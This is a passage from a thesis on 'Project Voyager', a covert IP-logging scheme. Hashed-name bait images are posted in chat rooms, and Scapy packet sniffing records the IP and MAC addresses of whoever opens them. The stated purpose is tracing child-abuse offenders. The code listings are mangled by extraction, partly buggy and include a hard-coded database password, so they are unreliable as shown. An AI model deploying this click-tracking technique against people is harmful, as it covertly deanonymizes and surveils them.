the project.) The internet header length (IHL) is responsible for deciding the header length.
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The identification and Flags fields are responsible for checking possible packet fragmentation.

If the flag=1, then the packet follows one more (or more) fragments of data. If the flag=0,

then that represents the last fragment of the data in a packet. If Time To Live TTL=0, then

the packet is discarded because the lifetime is exhausted. The TTL significantly reduces as

the packet travels from one node to another. This protocol represents the use of transport

protocols such as TCP and UDP. Source and destination addresses are the respective source

and destination machine addresses. The IP datagram plays an important role for the TCP

segment in order to make a successful network connection.

3.5 Hypertext Transfer Protocol (HTTP)

Hypertext Transfer Protocol (HTTP) works on the application layer of the OSI

model, as mentioned in subsection 3.4.2. The communication model of the HTTP protocol

is that of a client and a server. Data exchange between a client and a server takes place

using HTTP, using the TCP/IP protocol for communications. By default, the reserved

port for HTTP is PORT 80, but it is not necessarily the only port used for all HTTP

traffic; other ports may also be used. The current version of the protocol with reference

to the project is HTTP 1.1. The communication model of this protocol is a simple client-

server communication model. As shown in the figure 11 below, a client machine requests

the information and the servers, upon getting the request, respond to the message request.

The communication identifier for HTTP is through the Uniform Resource Identifier (URI)

or Uniform Resource Locator (URL), in some cases. As an example, one common HTTP

address URL is "http://www.youtube.com".
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Figure 11: Request Respond Chain for HTTP, Reference (56)

3.6 HTTP GET and POST Methods

One of the most important aspects of understanding the HTTP communication

protocol is to understand HTTP GET and POST methods. There are a total of eight

different methods identified by HTTP version 1.1, but GET and POST methods play a

crucial part for this application.

• HTTP GET: This represents the request made for certain resources. Voyager is parsing

mainly the GET requests in the project as we monitor the network traffic in real time.

• HTTP POST: This method is responsible for submitting the data to the resource

identified. It needs to be processed on the server side. Use of this method is extensive

for the image upload module.

• Sample decoded HTTP data in a Packet:

1 Source@https : // github . com/ i n v e r n i z z i / scapy−http

2

3 ###[ HTTP Request ]###

4 Method = ’GET’

5 Path = ’/ ’

6 Http−Vers ion= ’HTTP/1 .1 ’

7 Host = ’www. github . com ’

8 User−Agent= ’Wget /1 . 1 3 . 4 ( l inux−gnu ) ’

9 Accept = ’∗/∗ ’
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10 Accept−Language= None

11 Accept−Encoding= None

12 Accept−Charset= None

13 Refe r e r = None

14 Author i zat ion= None

15 Expect = None

16 From = None

17 I f−Match = None

18 I f−Modified−Since= None

19 I f−None−Match= None

20 I f−Range = None

21 I f−Unmodified−Since= None

22 Max−Forwards= None

23 Proxy−Author i zat ion= None

24 Range = None

25 TE = None

26 Cache−Control= None

27 Connection= ’Keep−Alive ’

28 Date = None

29 Pragma = None

30 Tra i l e r = None

31 Transfer−Encoding= None

32 Upgrade = None

33 Via = None

34 Warning = None

35 Keep−Al ive= None

36 Allow = None

37 Content−Encoding= None

38 Content−Language= None

39 Content−Length= None

40 Content−Locat ion= None

41 Content−MD5= None

42 Content−Range= None

43 Content−Type= None

44 Expires = None

45 Last−Modif ied= None
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46 Cookie = None

47 Addit ional−Headers= None

48 ==========================================================

49

Listing 1: Sample decoded HTTP data in a packet.

3.7 TCPdump

TCPdump is a powerful command line packet analysis tool. With reference to the

project, TCPdump captures the network packets and prints the descriptions on the console.

It also can generate the output data with reference to the session of packet captures to a

PCAP (Packet Capture) file (11).

• A literal snapshot of executing TCPdump command:

1 tcpdump −q −t −C 100 ’ dst 172 . 3 1 . 3 6 . 8 5 and ( dst port 80 or 443) ’

2

where :

• -q :- Quicker output and less protocols

• -t :- Not printing time stamp on each output

• -C 100 :- is capturing 100 packets of network traffic (Port:80 and 443 )

• dst :- All the connection whose destination IP is 172.31.36.85 and communicating

through destination port on that machine 80 and 443.

• 209.129.115.55 → 172.31.36.85 is (IP accessing the link and Our Server’s IP address )
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Figure 12: TCPdump console output)

Recording the same information on a PCAP file helps us extract many details of the

packet transfer between the client and the server.

3.8 SCAPY

It has been said by many, "With great power comes great responsibility." (51). Such

is true for SCAPY, an ultra-powerful network penetration API(Application Programming

Interface), developed using Python. It possess several abilities useful for manipulating and

parsing a network packet. The inclusiveness of the API itself has benefited in the realization

of Project Voyager. It provides methods to fully decode a network packet from its origin and

hence give ample time to interpret and parse the packet (12). For a network penetration

tester or an information security professional, SCAPY can be used as the user desires.

Ranging from creating a network packet, serving as a server itself, and parsing packets,

SCAPY proves itself to be an omnipotent, pen-testing API. One of the best parts is that

it can be imported as a Python programming language library. In reference to the Voyager
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project, HTTP Layers and Sniffing modules are extensively used for analyzing the packets in

real time. SCAPY also performs very well in many other specific tasks that most other tools

can’t handle, such as sending invalid frames, injecting your own 802.11 frames, combining

techniques like Virtual Local Area Network (VLAN) Hopping+ Address resolution protocol

(ARP), Spoofing, etc. (12, 13).

3.9 Conclusion

This chapter describes and explains different technologies important to understand-

ing the later portion of this thesis. Further, the chapter explains in detail the network models

such as OSI, an important part of basic computer networks. Client-Server communication

has been explained using HTTP, as well as a very detailed explanation of AMAZON AWS,

used as the housing server. PHP and MySQL are also explained briefly. TCPdump is ex-

plained, a crucial tool for capturing packets on our server and outputting a PCAP file. The

Packet capture and parser API SCAPY has been explained in this chapter.
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4 Design and Implementation

4.1 Introduction

In relation to the studies mentioned in previous chapters and especially in Chap-

ter 2, the majority of the analysis performed on any pedophilia-related data were provided

based on publicly available chat room data analyses. This thesis proposes a solution which

can use P2P chat interface (chapter 2) to collect network details of the machine used, and

to contribute to building a data set for future digital forensic data analysis (15); the data

set is constructed with preventive network forensics in mind analysis in mind.

Extensive research done on the distinctive pattern of interactions found in CP

grooming includes one conclusive action, that of taking the initiative to send to a target,

or to ask from a target, a graphic image or media file. In the study of CP and related

sex offenses, we understand that graphic image exchange is a consistent pattern. Textual

communication is minimal and may be more difficult to track. The determination of a real

sex offender online is marked by the exchange of graphical media (17). As mentioned earlier,

Mumbai police identified a graphic image exchange as an important stage in the grooming

process. The vulnerability of exchange of graphic media,which the Voyager project mainly

aims to exploit in order to track CP chat interactions and obtain the network and connection

details of the suspects.

In the internet chat room Person to group (P2G), there is a greater possibility

of discovering a group of people with similar sexual preferences. The Federal Bureau of

Investigation (FBI) has identified different sets of symbols by which CPs proclaim themselves

and their sexual preferences (18). These P2G groups are the places where the exchange of

these symbols in image format identifies a pedophile and sparks an interaction amongst

individuals with similar preferences. Examples are included below:
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Figure 13: Pedophile preference symbol Reference (18)

These symbols are significant tags for identifying the preferences of CPs; they can serve

as mechanism to appropriately bait CPs in chat rooms.
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4.2 Design Considerations and Challenges

As mentioned previously, the importance of network sniffing in the application is

crucial. The Image upload module is designed using PHP and MySQL; it can be imple-

mented by installing LAMP on the AWS Linux AMI. No special root access privileges need

be provided in order to execute the written code. Uploading the code on the Linux direc-

tory enables the end-user/developer to access the image upload page by using the public IP

address or the Public DNS for the server. The image upload module makes a database entry

with the meta data of the image upload, including the location of the image on the server.

Since the images on the Database are not stored using BLOB, the security is increased and

the database is kept lightweight.

The initial concept of obtaining the network packet is executed by using PHP

system exec()function and executing a TCPdump. To keep it running for an execution

period of 1 hour, gives the researcher time to wait for the image click and execution on the

CP/target side. Upon the click, the output of the command shell would be directed to an

output buffer and from there would initiate a string manipulation that would upload the

data to the MySQL database.

There were certain significant problems executing this method. The determination of the

IP address to Image File Clicked was not synchronized, and so the efficiency of the program

was compromised. Also, there were a number of root-level permissions to be provided on

the server to the Apache service (HTTPD) that would have left our AWS Server open to

security threats. Hence there was a need for a different and more secure solution.

One possible solution at that point was using and importing the Libpcap library

itself rather then TCPdump. Using Swig (a cross-language development tool which gives the

facility to create PHP wrappers using C++ libraries) there was a possibility to import the

C++ libpacap library into PHP and script a network packet capture application. The main

difficulty here was that the solution would contradict the basic nature of the network sniffing

concept, and accommodating this would have required multiple changes and privileges added

on the AWS server sudoers file (User Account file for Linux). This was far too risky in terms
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of capturing a network packet. This design would leave the server exposed to the security

threats, and the execution time of the script would be extremely slow.

Using SCAPY, the project solved both of the above difficulties. Installing

SCAPY is very easy and does not jeopardize the sudoers file. It requires pip(python

package manager)install scapy and can be easily used by importing it into Python as

a library. Hence the development of the packet parser was possible by writing fewer lines

of code while still providing an optimal solution. Python 2.7 is used for development of

the PCAP (Packet capture) parser using SCAPY. The first commit was based on parsing

the PCAP file and parsing through the packet. We use TCPdump to capture our network

traffic on port 80. The task would be to run the TCPdump command and network packets

on the server for an experimental period of one week to stress test the execution time and

record the session on a PCAP file. SCAPY provides a powerful network packet parsing

capabilities. We started by simply decoding a packet and outputting into in a txt file.

Below is an example of a decoded raw packet.

1 =============================================================================

2 ###[ Ethernet ]###

3 dst = 64 : 8 0 : 9 9 : 6 3 : 2 9 : 9 4

4 s r c = 00 : 2 1 : 2 9 : 7 7 : 3 d : d8

5 type = 0x800

6 ###[ IP ]###

7 ve r s i on = 4L

8 i h l = 5L

9 to s = 0x0

10 l en = 418

11 id = 29348

12 f l a g s = DF

13 f r a g = 0L

14 t t l = 55

15 proto = tcp

16 chksum = 0x5a4b

17 s r c = 207 . 97 . 227 . 243

18 dst = 192 . 168 . 1 . 1 05

19 \ opt ions \
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20 ###[ TCP ]###

21 spor t = http

22 dport = 52157

23 seq = 2748912324

24 ack = 3687400346

25 datao f s = 5L

26 r e s e rved = 0L

27 f l a g s = PA

28 window = 5840

29 chksum = 0x78e7

30 urgptr = 0

31 opt ions = [ ]

32 ###[ HTTP ]###

33 ###[ HTTP Response ]###

34 Status−Line= u ’HTTP/1 .1 301 Moved Permanently ’

35 Accept−Ranges= None

36 Age = None

37 E−Tag = None

38 Locat ion = u ’ http :// github . com/ ’

39 Proxy−Authent icate= None

40 Retry−After= None

41 Server = u ’ nginx /1 . 0 . 1 3 ’

42 Vary = None

43 WWW−Authent icate= None

44 Cache−Control= None

45 Connection= u ’ keep−a l i v e ’

46 Date = u ’Wed, 27 Jun 2012 06 : 53 : 41 GMT’

47 Pragma = None

48 Tra i l e r = None

49 Transfer−Encoding= None

50 Upgrade = None

51 Via = None

52 Warning = None

53 Keep−Al ive= None

54 Allow = None

55 Content−Encoding= None
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56 Content−Language= None

57 Content−Length= u ’185 ’

58 Content−Locat ion= None

59 Content−MD5= None

60 Content−Range= None

61 Content−Type= u ’ t ext /html ’

62 Expires = None

63 Last−Modif ied= None

64

65 [ root@ip− t e s t ]#

66 ==============================================================

This was the first successful parsing of a PCAP file. The results were accurate. The data

was parsed and moved to a MySQL server.

The program accurately parses the PCAP file and gives the desired output.

There was a technical difficulty when it came to recording a PCAP file. A PCAP file

records every detail of the connection made, including the clicks and key taps made by the

client. This included a huge amount of data which was not crucial at this step in the PCAP

analysis (19). The following image visualizes the sample mountain of recorded data of the

PCAP according to Sarncso of CERT (19):
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Figure 14: File size of PCAP recorded over different time lengths Reference(19)

The file was huge to begin with, and then needed to be loaded into memory

for processing. This exposed the server to a security risk because of the long execution

time. A possible solution was to change the way we read the PCAP file function (i.e.,:

’scapy.rdpcap(exaple.pcap)’). One could load the whole file temporarily in the AWS server

memory to parse it. SCAPY facilitates through ’scapy.pcapreader(filename.pcap)’, loading

the individual network packets incrementally instead of loading a whole file at once. The

problem remains that 16 GB of data (which has a minimum of around 16,777,216 Packets)

would not yield an optimal solution in terms of data storage and execution. But for a

small-sized PCAP file, it is a perfect solution.

The last and the final commit to the above problems was also provided by

SCAPY using its SNIFF module. It scans and sniffs the network in real time and online.

This has the benefit of immediacy. Store =0 in SNIFF gives us the ability to not store the

packets in memory and yet parse through them as they arrive through a particular port.

This is an optimal solution. Without storing any network packet, it was possible to parse a

packet and obtain the network details by parsing through different layers in real time.
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4.3 Image Upload Module

4.3.1 Preface

The image upload module is designed using HTML for building an image upload

form. The back-end scripting is done using PHP. We used ".jpg" images for the setup. The

code is executed using the PHP POST Method, which is capable of obtaining the file upload

from any RFC 1867 (form-based file upload in HTML). The script which uploads the file is

named "upload.php" and it confirms the submission of a POST request on the file. Once

1 i f POST

is executed the file is uploaded to a temporary memory buffer.

While the image is uploaded, an MD5 hash of the image is calculated while

it is in the temporary memory buffer and a unique identity is allotted to the image. Also

the file is renamed with its hash value, and then uploaded on the server. There is a very

important reason to do this. (The name of the actual image looks somewhat like this:

"e1c67e348ac9a4053048de62272cbf7b.jpg"). Calculating a hash of the file is extremely

important when it comes to digital forensic analysis (15). According to research conducted

(20), the importance of a hash function in digital analysis may be visualized as follows:

Figure 15: Hash analysis and Digital forensics Reference (15,20)

With this unique identifier, the hashed file can be used as an evidence for its signature on

the disk (20). But what if someone uploads the same file again? To avoid name redundancy

and uniqueness we upload a image with the name as hash (hash.image()+Time stamp()).
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We use md5 file() of PHP for calculating the Hash. Once we determine the size of the

file, it is uploaded to the file on the server using the move uploaded file() function. Once

the image has been uploaded and the entry has been made to the database, Voyager gen-

erates a static URL based on the public DNS of the EC2 instance to the image on the server.

There is an additional facility of sending email. The email module is made using the mail()

function of PHP. Using SMTP and MIME formats, we can send the link via Email as well.

But since the project focuses more on the URL and not on the medium of sending it, it is

not crucial. However, for law-enforcement purposes, this might become useful.

4.4 PCAP file Parser

This project Parses a PCAP file using the SCAPY API. The first attempt was to

understand the packet itself. How do we access different layers from the raw packet? A

great deal of encoded binary data exists in a raw packet. This data even includes the mouse

clicks and keyboard taps made by the user. But for this project, we require network-related

data. Hence the above sub-section displays a raw packet decoded using SCAPY. So an

approach to parse through different layers of the packet was the best way, since it would

help to optimize the execution, but parsing only what the project demands. Theoretically,

nested packet layers would look somewhat like the figure 16 below:

Figure 16: Nested packet layers,Reference(12)

The Ethernet layer nests the details of the physical address of the source and destination

machine. The IP layer carries the source and destination IP address and the version of the
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IP protocol. The HTTP layer will contain all the details of the file accessed through the

HTTP request and many relevant associated details of the client’s computing environment.

Below is the Flow chart of the offline PCAP parser:

Figure 17: Flow chart of PCAP parser Reference (12)

One of the most important factors kept in considerations while designing this
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module was the generalization of the module. The string manipulation done in this file is

kept to a minimum and makes a more a logical approach to parsing through the packet

layers. Previously, a decoded parsed packet has been depicted. A decoded un-parsed packet

would have a cluster of protocols together in a form of a giant string; in this case, it is very

difficult to define and maintain the string manipulation constraints since they continue to

vary depending on the size of the packet. A JSON file is given as an output of the data

along with a MySQL database entry for future data analytics on the data-set. We use a

Python MySQL library to perform MySQL query operation. The only problem is the size

of the PCAP file, as mentioned earlier.

4.5 Packet Parser Using SNIFF

Even after arriving at the solution for capturing and obtaining the network details

and the file requested by the target, there still existed some concerns about the huge size

of the captured packet file. It would requires high computing power to parse the PCAP

file. To resolve the problem of huge PCAP file size (since it contains far more data than

we need), using the SCAPY Module SNIFF gives us the ability to capture packets, even

clone TCPdumps (12) without storing the packets as files or even on the memory. This

provides an efficient and beautiful solution. Using the SNIFF allows the user to define the

interface for listening to the traffic (eth0, WLAN1). If no interface is defined, then sniffing

shall happen on every interface (12).

In this implementation, there is a change the course for capturing network packets live

and accessing the layers offline in the PCAP parser. But this time the advantage is that

there will not be a huge PCAP file storage. As the packets are captured live, there is no

need to generalize them. In the database it is only required when the file requested has a

MD5 hash name. That makes the database lighter, since only a specific set of filtered in-

formation is recorded. This is why files like "Favicon.ico" and other server operations were

not considered. The packet parser was a very effective solution. Below is the flow chart for

the SNIFF file:
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Figure 18: Flow chart of Sniff packet Parser Reference (12)
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5 Sample Code

5.1 Image Upload

5.1.1 HTML form

Figure 19: Defining the HTML form

Figure 20: Defining the HTML form

Figure 21: Submit the form

5.1.2 The PHP Script

After “isset“ we declare a group of variables as mentioned in the above section.
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Figure 22: upload .php Variables

5.2 PCAP Parser

1

2 # Source : @https : // github . com/ i n v e r n i z z i / scapy−http

3

4

5 t ry :

6 import scapy . a l l as scapy

7 except ImportError :

8 import scapy
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9

10 from scapy . l a y e r s import http

11 import MySQLdb

12 from ur l pa r s e import u r l pa r s e

13 import os

14 import re

15 import sys

16 from cStr ingIO import Str ingIO

17 import j son

18 import time

19 import argparse

20 import u r l l i b

21

22 # PCAP DISSECTION

23 connect_db = MySQLdb. connect ( host= localhost , user= root , passwd=

f5f76a11ab31af , db= Voyager )

24 output =[ ]

25 user =raw_input ( Please ente r the d i r e c t o r y path to f i l e : )

26 op = os . chd i r ( user )

27 f i l e = raw_input ( ’ P lease ente r the f i l ename : ’ )

28 f o r f i l e in os . l i s t d i r ( user ) :

29 i f f i l e . endswith ( ’ . pcap ’ ) :

30 packet = scapy . rdpcap ( f i l e )

31 f o r p in packet :

32 i f p . ha s l aye r ( ’HTTPRequest ’ ) :

33 # pr in t p . ha s l aye r ( ’HTTPRequest ’ )

34 k = p . g e t l a y e r ( ’HTTPRequest ’ ) . f i e l d s

35 j = p . g e t l a y e r ( ’ IP ’ ) . f i e l d s

36 http = p . g e t l a y e r ( ’HTTPRequest ’ )

37 # pr in t ’\n {0 [ s r c ] } j u s t reques ted a {1 [Method ] } {1 [ Host ] } { 1 [

Path ] } ’ . format ( j , k )

38 # pr in t j

39 su = ’ { [ s r c ] } ’ . format ( j )

40 du = ’ { [ dst ] } ’ . format ( j )

41 srcmac = p . s r c

42 dst_mac = p . dst
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43 h o s t i l e = http . Host

44

45 image_url = ’ {0 [ Path ] } ’ . format (k )

46 pr in t

47 image_url

48 r e f e r e r = ’ {0 [ Host ] } ’ . format ( http . f i e l d s )

49 # pr in t r e f e r e r

50 tyme = time . s t r f t im e ( ’%Y−%m−%d %H:%M:%S ’ , time . gmtime (p . time )

)

51 # pr in t tyme

52

53 # PARSING THE FILE NAME :

54

55

56

57 index = −1

58 whi le True :

59 l e t t e r = image_url [ index ]

60 i f l e t t e r == ’ / ’ :

61 break

62 index = index − 1

63 index += 1

64 r e s u l t = image_url [ index : ]

65 # pr in t ( r e s u l t )

66 t e s t = re . f i n d a l l ( ( [ a−fA−F\d ]{32} ) , r e s u l t )

67 # pr in t t e s t

68

69

70

71 ’ ’ ’

72 # Database Query

73

74 f i l e = SELECT i_hash FROM image_table WHERE i_name = ’

+ r e s u l t + ’ ;

75

76 cur = connect_db . cur so r ( )

5 SAMPLE CODE 54



Voyager: Identifying IPs from Online Clicks Author: Dhruv Pandya

77 ex = cur . execute ( f i l e )

78 out = cur . f e t chone ( )

79 i f out :

80

81 out1 = s t r ( out [ 0 ] ) ’ ’ ’

82 cur = connect_db . cur so r ( )

83 cur . execute (

84 INSERT INTO ip_data ( src_ip , src_mac , dst_ip ,

dst_mac , c l ick_time , f i l e , host )

85 VALUES(%s ,%s ,%s ,%s ,%s ,%s ,%s ) ,

86 ( su , srcmac , du , dst_mac , tyme , r e su l t , h o s t i l e ) )

87 connect_db . commit ( )

88

89 # Creat ing a j s o n f i l e

90

91

92 output . append ({

93 ’ time ’ : time . s t r f t im e ( ’%Y−%m−%d %H:%M:%S ’ , time . gmtime (p .

time ) ) ,

94 ’ dst_mac ’ : p . dst ,

95 ’ src_mac ’ : p . src ,

96 ’ dst_ip ’ : p [ IP ] . dst ,

97 ’ s rc_ip ’ : p [ IP ] . s rc ,

98 ’ host ’ : http . Host ,

99 ’ data ’ : r e s u l t ,

100 ’ Re f e r e r ’ : p [ HTTPRequest ] . Re f e r e r

101 })

102 # pr in t ( output )

103 s = j son . dumps( output )

104 with open ( /var /www/html/ emai l /backup/ t e s t . j s o n , w

) as f :

105 f . wr i t e ( s )

106

107
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108 #Edited to a l low the user to d e f i n e the path to the f o l d e r conta in ing PCAP

f i l e and then g iv ing the input as f i l ename

Listing 2: PCAP Parser without Sniff

5.3 SNIFF Packet Parser

1

2 #Commit1 , Just Pars ing the Data rea l−time

3

4 #Program proce s s a TCP/IP packet and check i f i t has a HTTP lay e r r eque s t in

i t us ing the S n i f f Module o f SCAPY.

5

6 # Cred i t s : @https : // github . com/ i n v e r n i z z i / scapy−http

7

8 from scapy . a l l import IP , s n i f f

9 from scapy . l a y e r s import http

10

11

12 de f t c p s n i f f ( packet ) :

13

14 .

15 a = packet . g e t l a y e r ( http . HTTPRequest )

16 b = packet . g e t l a y e r ( IP )

17 c = packet . ha s l aye r ( http . HTTPRequest )

18 i f not c :

19 #I f no HTTP reques t made in the packet , Return empty

20 r e turn

21

22 pr in t ’ \n {0 [ s r c ] } j u s t reques ted a {1 [Method ] } {1 [ Host ] } { 1 [ Path ] } ’ . format

(b , a )

23

24 # Star t s n i f f i n g the network .

25 s n i f f ( f i l t e r=’ tcp ’ , prn=t c p s n i f f , s t o r e = 0)

Listing 3: PCAP Parser with Sniff Commit 1

1
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2 #Commit 2 Makes the f i r s t database commit us ing Python MySQL l i b r a r y

3

4 from scapy . a l l import IP , s n i f f

5 from scapy . l a y e r s import http

6 import MySQLdb

7

8

9

10 de f t c p s n i f f ( packet ) :

11

12

13 db = MySQLdb. connect ( host= localhost , user= root , passwd=

f5f76a11ab31af , db= Voyager )

14 a = packet . g e t l a y e r ( http . HTTPRequest )

15 b = packet . g e t l a y e r ( IP )

16 j = ’ {0 [ s r c ] } ’ . format ( a . f i e l d s )

17 k = ’ {0 [ dst ] } ’ . format (b . f i e l d s )

18

19

20 f i l = ’ {0 [ Host ] } { 0 [ Path ] } ’ . format ( http_layer . f i e l d s )

21 pr in t ’ \n {0 [ s r c ] } j u s t reques ted a {1 [Method ] } {1 [ Host ] } { 1 [ Path ] } ’ . format

( ip_layer . f i e l d s , http_layer . f i e l d s )

22

23 cur = db . cur so r ( )

24 cur . execute (

25 INSERT INTO ip_data ( src_ip , dst_ip , f i l e )

26 VALUES( % s , % s ,% s ) ,

27 ( j , k , f i l ) )

28

29 db . commit ( )

30

31 # Star t s n i f f i n g the network .

32 s n i f f ( f i l t e r=’ tcp ’ , prn=t c p s n i f f , s t o r e =0)

Listing 4: PCAP Parser with Sniff Commit 2

1
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2 # Cred i t s : @https : // github . com/ i n v e r n i z z i / scapy−http

3 #Third Commit Does our task o f monitor ing and committing the data in MySQL Db

4 from scapy . a l l import IP , s n i f f

5 from scapy . l a y e r s import http

6 import MySQLdb

7 import re

8 import time

9

10

11

12 de f t c p s n i f f ( packet ) :

13

14 db = MySQLdb. connect ( host= localhost , user= root , passwd=

f5f76a11ab31af , db= Voyager )

15

16

17

18 a = packet . g e t l a y e r ( ’HTTPRequest ’ ) . f i e l d s

19 b = packet . g e t l a y e r ( ’ IP ’ ) . f i e l d s

20

21 j = ’ {0 [ s r c ] } ’ . format (b)

22 k = ’ {0 [ dst ] } ’ . format (b)

23 f i l = ’ {0 [ Host ] } { 0 [ Path ] } ’ . format ( a )

24 image_url = ’ {0 [ Path ] } ’ . format ( a )

25 hostadd = dummy

26 tyme = time . s t r f t im e ( ’%Y−%m−%d %H:%M:%S ’ , time . gmtime ( packet . time ) )

27 srcmac = packet . s r c

28 dstmac = packet . dst

29 pr in t ’ \n {0 [ s r c ] } j u s t reques ted a {1 [Method ] } {1 [ Host ] } { 1 [ Path ] } ’ . format

(b , a )

30

31

32 index = −1

33 whi le True :

34 l e t t e r = image_url [ index ]

35 i f l e t t e r == ’ / ’ :
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36 break

37 index = index − 1

38 index += 1

39 r e s u l t = image_url [ index : ]

40 #te s t = re . f i n d a l l ( ( [ a−fA−F\d ]{32} ) )

41 ext = jpg

42 p = re . compi le ( ’ ( [ a−fA−F\d ]{32} ) ’ )

43 matching = p . match ( r e s u l t )

44

45

46

47

48

49 i f matching :

50 combine = matching . group (0 ) + . +ext

51 cur = db . cur so r ( )

52 cur . execute (

53 INSERT INTO ip_data ( src_ip , src_mac , dst_ip , dst_mac , host , f i l e ,

c l i ck_t ime )

54 VALUES( % s , % s ,% s , % s ,% s , % s ,% s ) ,

55 ( j , srcmac , k , dstmac , hostadd , combine , tyme ) )

56

57 db . commit ( )

58 e l s e :

59 pass

60

61 # Star t s n i f f i n g the network .

62 s n i f f ( f i l t e r=’ tcp ’ , prn=t c p s n i f f , s t o r e =0)

Listing 5: PCAP Parser with Sniff Commit 3

6 Results and Observations

This chapter discusses the results obtained through the application of the solution

proposed in this thesis. This includes the functionality of uploading an image using the

PHP, MySQL image upload module and getting the static URL as an output. At the same

6 RESULTS AND OBSERVATIONS 59



Voyager: Identifying IPs from Online Clicks Author: Dhruv Pandya

time, the application confirms the commit in the database.

• The database includes the following fields:

Image Data

i_ hash i_name i_location

Because we are not storing the image upload on the database, which makes the database

light enough to operate efficiently. There is an increased security aspect to it as well. The

goal was to store the data on the AWS and hence keep it behind secure Amazon firewalls.

Figure 23: Excerpt of the image upload in the database

In the figure 23, "ihash" is the unique hash of the image; "iname" is the name of the image by

attaching it to the image hash and hence make the image file name unique, while "ilocation"

is the location of the image in the server that is "/upload/file name.jpg."

The first result obtained displayed the encoded network packets from the PCAP file.

This gives the ability to learn more about a network packet and potential data hidden

under the encrypted packet. The image below is the excerpt of the first result:

1
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6 Nuorpa { _w5 <

GZ ; > $f [ ;

yo$9yA3S7v

7 O \ L A 4E7Oovt4 <9 D p2Gh <

A 4zBwhUr ∗ ) } MTSd [

eL_J3 + U ; F92kd & 6 ?

D & . + O

8 . } 0$Kg / 9ip ( S Vi >
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9 Accept−Language : en−US

10 Accept−Encoding : gzip , d e f l a t e

11 Connection : Keep−Al ive

12 Accept : ∗/∗

13 User−Agent : Moz i l l a /5 .0 (Windows NT 10 . 0 ; Win64 ; x64 ) AppleWebKit /537.36 (

KHTML, l i k e Gecko ) Chrome /52 . 0 . 2743 . 116 Sa f a r i /537 .36 Edge /15.15063

14 Host : ec2−54−67−38−225.us−west −1.compute . amazonaws . com

15 Refe r e r : http :// ec2−54−67−38−225.us−west −1.compute . amazonaws . com/phpMyAdmin/

index . php?db=t e s t&tab l e=image_table&ta rg e t=tb l_s t ruc ture . php

16 X−Requested−With : XMLHttpRequest

Listing 6: An encoded raw packet

It was clear from these results that the approach and the result obtained did contain relevant

details. Yet there was a need to decode the packet in order to get a complete idea about the

further possible approaches. By using SCAPY, we decoded the complete network packet by

accessing the various layers in a packet mentioned in the above chapter. We then recorded

our PCAP file on the AWS EC2 instance, using the TCPdump command. We also tested

the file by using different PCAP files sets available on a public PCAP database. The results

were positive and the output yielded the IP address and the HTTP request made by the

client upon the click made on the image. Figure 24 shows of the result:
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Figure 24: Result of the first commit with reading a PCAP file Reference(49)

Output was also recorded in the database is displayed with help of this figure :

Figure 25: PCAP Parsed data into MySQL database on AWS instance

1 {

2 data : ,

3 dst_ip : 72 . 5 2 . 1 1 . 2 ,

4 dst_mac : 00 : 1 a : 1 1 : 0 0 : 0 0 : 0 2 ,

5 host : static . downloadprovider . m e ,

6 src_ip : 10 . 8 . 0 . 1 ,

7 src_mac : 00 : 1 a : 1 1 : 0 0 : 0 0 : 0 1 ,

8 time : 2013 −03−25 02 : 10 : 17

9 } ,

Listing 7: Output parsed data to a JSON file Reference(49)

Since the PCAP parsing was offline and contained a bulk of data, we used Python to export

the output of the analysis to a JSON file. This JSON would be the data set which may

help for further forensic data analysis. As seen in the figure 25, the database parser dissects
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the network packet and extracts the Public IP of the client machine and client source IP.

SCAPY proved to be very helpful for network packet analysis. But because the network

analysis through TCPdump yields to a large PCAP file which is difficult to process, there

was a need for a way to parse the packet without storing it, in order to yield the results. The

SNIFF module in SCAPY clones the functionality of TCPdump and provides the benefit

of parsing the arriving network packets in real time. As mentioned in the earlier chapter

using Store=0, no packet is stored on the memory and parsed in real time. The architecture

of the file remains the same except for two major changes; this helps to focus the network

sniffing to be file specific.

• Using Store=0 in SNIFF, a network packet is captured but not stored.

• The entry in the database does not apply to all the files accessed. It only applies to the

hashed image file. If the file name which contains MD5 hash is clicked or requested,

there will be a record of the file, and all the network details of the machine requesting

it will be recorded. This keeps the database clean and light.

Figure 26: Terminal output using sniff

Figure 27: Successful record of the hashed image in database

Figure 26 is a screen shot of the output of the terminal using the sniff module. The two

requests made by the IP address: 104.34.179.249 were a POST and a GET method.

There was a POST request for PHPmyAdmin and GET request for the hashed image

file on the server. But Voyager records only the GET request of the hashed image

file. In the database the word "dummy" is reserved for the HOST; if there exists a

HOST/Referer URL or IP, it logs it into the database.This helps us to confirm the

source of origin for the link requested.

6 RESULTS AND OBSERVATIONS 63



Voyager: Identifying IPs from Online Clicks Author: Dhruv Pandya

For all the programs to execute on the server side, sudo access is required by the root

user. It is not necessary to be a root user for the execution of the sniff module. The

results obtained were accurate public IP addresses.

7 Discussions and Limitations

Measurement of the Internet for law enforcement purposes must be sound in the

context of digital forensics. An examiner is responsible for managing the evidence flowing

live through the network. Sometimes for an examiner, a major issue is the reliability of

the data due to the volatile nature of the live network traffic. This thesis concentrates on

the aspects of Live Network traffic Evidence (LNE). LNE can be accessed only through a

network or a network application such as websites, FTP servers, social networks, and private

chat rooms. As mentioned earlier, the nature of live data captured is volatile, due mainly

to the asynchronous arrival of network packets.

Packet capture and analysis can be of great value for digital forensics. Its appli-

cation lies in intercepting an ongoing communication over a network for collecting the LNE.

However, this method has some limitations. The first is that the operation of data collection

can only be done on the examiner’s machine/workstation in order to properly harvest the

network data. This creates a reliability issue put upon the person/entity responsible for

the data collection. Moreover, the encrypted data packet such as HTTPS traffic packets

are difficult to decrypt during the live packet capture. Hence, the thesis concentrates on

unencrypted HTTP traffic. This flow of network traffic occurs on the unreliable HTTP

port 80, which is unencrypted. Also the unencrypted traffic exposes the server to security

threats. That being said, capturing the IP address is a major functional aspect of the pro-

gram, although the IP address capture reveals a public IP and not the actual machine’s IP

address.

The development of project Voyager is around the Amazon AWS EC2 Linux
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AMI. It makes the application a very environment-specific development. The cross-platform,

Operating-Systems-based development might face some challenges in future applications.

The packet level meta-data includes the public destination and a source IP of the target

machine. The datagram also contains the binary check-sum. The realization of the project

does not include collection of these binary stream check-sum data.

Rise of Anti-Forensics Techniques is aggressive and imminent, as the de-

fensive measures become more efficient. Among them the use of network bots, which is very

common these days. They are responsible for many DDoS (Distributed Denial of Service )

attacks and increase the network traffic instantaneously. Due to network interference, rogue

IP and MAC addresses can interfere with and flood live packet capture. Thus the method

of recording only the click of the hashed file in the project makes the data collection filtered

and reliable as well as lightweight and secure. The image below depicts one of the blacklisted

IP address hits during the early development phases of the project. According to the online

IP address tracker, the location tag for the IP address was in China. There were multiple

hits with different IP addresses from China and behavior of the hits indicates network bots.
